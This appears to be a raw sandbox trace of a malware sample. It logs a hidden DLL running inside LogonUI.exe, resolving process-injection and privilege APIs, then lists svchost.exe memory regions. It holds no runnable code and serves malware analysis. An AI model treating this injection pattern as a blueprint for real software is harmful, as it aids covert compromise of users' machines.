GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0078.426] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0078.426] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0078.426] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0078.426] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0078.426] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0078.427] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0078.428] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0078.428] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0078.428] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0078.428] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0078.428] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0078.428] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0078.428] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0078.428] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0078.428] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0078.428] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0078.428] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0078.428] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0078.428] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0078.429] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0078.429] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0078.429] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0078.429] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0078.429] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0078.429] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0078.429] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0078.429] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0078.429] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0078.429] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0078.429] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0078.429] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0078.429] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0078.430] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0078.430] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0078.431] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0078.431] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0078.431] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0078.431] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0078.431] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0078.431] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0078.431] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0078.431] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0078.431] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0078.431] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0078.431] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0078.433] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0078.433] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\LogonUI.exe") returned 0x1f [0078.433] PathFindFileNameA (pszPath="C:\\Windows\\system32\\LogonUI.exe") returned="LogonUI.exe" [0078.433] GetCommandLineA () returned="\"LogonUI.exe\" /flags:0x0" [0078.433] _strcmpi (_Str1="LogonUI.exe", _Str2="svchost.exe") returned -7 [0078.433] StrStrIA (lpFirst="LogonUI.exe", lpSrch="wermgr.exe") returned 0x0 [0078.434] HeapDestroy (hHeap=0x910000) returned 1 [0078.438] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.440] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.480] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\authui.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.501] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptui.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.528] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.684] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shacct.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.705] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\samlib.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.770] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\propsys.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.855] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\uxtheme.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0078.911] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0079.006] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dui70.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0079.132] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\duser.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0079.174] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\SndVolSSO.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0079.193] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\hid.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0079.227] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\MMDevAPI.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0079.254] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0079.254] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0079.254] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0079.280] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dwmapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0079.331] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\xmllite.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0079.588] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WindowsCodecs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0079.999] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winbrand.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.044] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wtsapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.122] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winsta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.743] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wintrust.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.227] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imageres.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.619] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c63000 [0096.619] IdePortDispatch () returned 0x103 Thread: id = 164 os_tid = 0x31c Thread: id = 165 os_tid = 0x320 Thread: id = 166 os_tid = 0x324 Thread: id = 167 os_tid = 0x328 [0080.073] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\VaultCredProvider.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.090] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\SmartcardCredentialProvider.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.132] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\BioCredProv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.149] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\secur32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.149] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.151] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winbio.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.161] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credui.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.167] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\vaultcli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.180] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.185] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netutils.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.187] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\srvcli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.190] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wkscli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.196] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\samcli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.308] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\certCredProvider.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.329] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rasplap.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.338] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rasapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.344] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rasman.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.349] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.349] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.351] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rtutils.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.680] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0080.686] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0086.184] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netjoin.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 168 os_tid = 0x32c [0080.115] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 172 os_tid = 0x344 Thread: id = 173 os_tid = 0x348 Thread: id = 174 os_tid = 0x34c Process: id = "18" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1118e000" os_pid = "0x33c" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d4" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" Region: id = 1339 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1340 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1341 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1342 start_va = 0x130000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 1343 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 1344 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1345 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1346 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" Region: id = 1347 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 1348 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1349 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1350 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1360 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1361 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1362 start_va = 0x260000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 1363 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 1364 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 1365 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1366 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 1367 start_va = 0x220000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1368 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 1369 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1370 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1371 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 1372 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 1373 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 1374 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1375 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1376 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1377 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1378 start_va = 0x460000 end_va = 0x5e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1379 start_va = 0x5f0000 end_va = 0x770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 1380 start_va = 0x780000 end_va = 0x83ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 1381 start_va = 0x840000 end_va = 0xc32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 1382 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 1383 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 1384 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 1385 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 1386 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 1387 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 1388 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 1389 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 1390 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 1391 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 1392 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 1393 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 1394 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 1395 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 1396 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 1397 start_va = 0xe30000 end_va = 0xeaffff entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 1398 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 1399 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 1400 start_va = 0xeb0000 end_va = 0x117efff entry_point = 0xeb0000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 1401 start_va = 0xca0000 end_va = 0xd1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ca0000" filename = "" Region: id = 1402 start_va = 0xd60000 end_va = 0xddffff entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 1403 start_va = 0x11a0000 end_va = 0x121ffff entry_point = 0x0 region_type = private name = "private_0x00000000011a0000" filename = "" Region: id = 1404 start_va = 0x13c0000 end_va = 0x143ffff entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 1405 start_va = 0x7fefbb60000 end_va = 0x7fefbb68fff entry_point = 0x7fefbb61010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" Region: id = 1406 start_va = 0x7fefbb70000 end_va = 0x7fefbc1bfff entry_point = 0x7fefbb86b0c region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" Region: id = 1407 start_va = 0x7fefc0b0000 end_va = 0x7fefc0fafff entry_point = 0x7fefc0befcc region_type = mapped_file name = "MMDevAPI.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" Region: id = 1408 start_va = 0x7fefc520000 end_va = 0x7fefc64bfff entry_point = 0x7fefc5294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" Region: id = 1409 start_va = 0x7fefcb90000 end_va = 0x7fefcbbbfff entry_point = 0x7fefcb915c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" Region: id = 1410 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 1411 start_va = 0x7fefddc0000 end_va = 0x7fefddf5fff entry_point = 0x7fefddc1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" Region: id = 1412 start_va = 0x7fefde70000 end_va = 0x7fefde89fff entry_point = 0x7fefde71558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" Region: id = 1413 start_va = 0x7feff310000 end_va = 0x7feff4e6fff entry_point = 0x7feff311010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" Region: id = 1414 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1415 start_va = 0x7fffffd7000 